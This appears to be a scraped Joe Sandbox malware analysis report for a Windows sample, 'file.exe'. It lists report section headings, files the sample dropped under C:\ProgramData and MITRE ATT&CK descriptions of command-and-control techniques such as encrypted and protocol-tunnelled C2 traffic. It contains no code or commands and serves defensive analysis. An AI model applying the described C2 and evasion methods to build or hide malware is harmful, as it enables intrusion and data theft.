Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBAAFHD

C:\ProgramData\CAFHIJDHDGDBFHIEHDGI

C:\ProgramData\EBAEBFII

C:\ProgramData\FCAAAAFBKFIECAAKECGCAAKJEC

C:\ProgramData\GHDBKFHIJKJKECAAAECA

C:\ProgramData\HIJJDGDHDGDAKFIECFIJEGDHII

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJ

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJKJKJJD

C:\ProgramData\JJJEGCGDGHCBFHIDHDAAFBGCFB

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre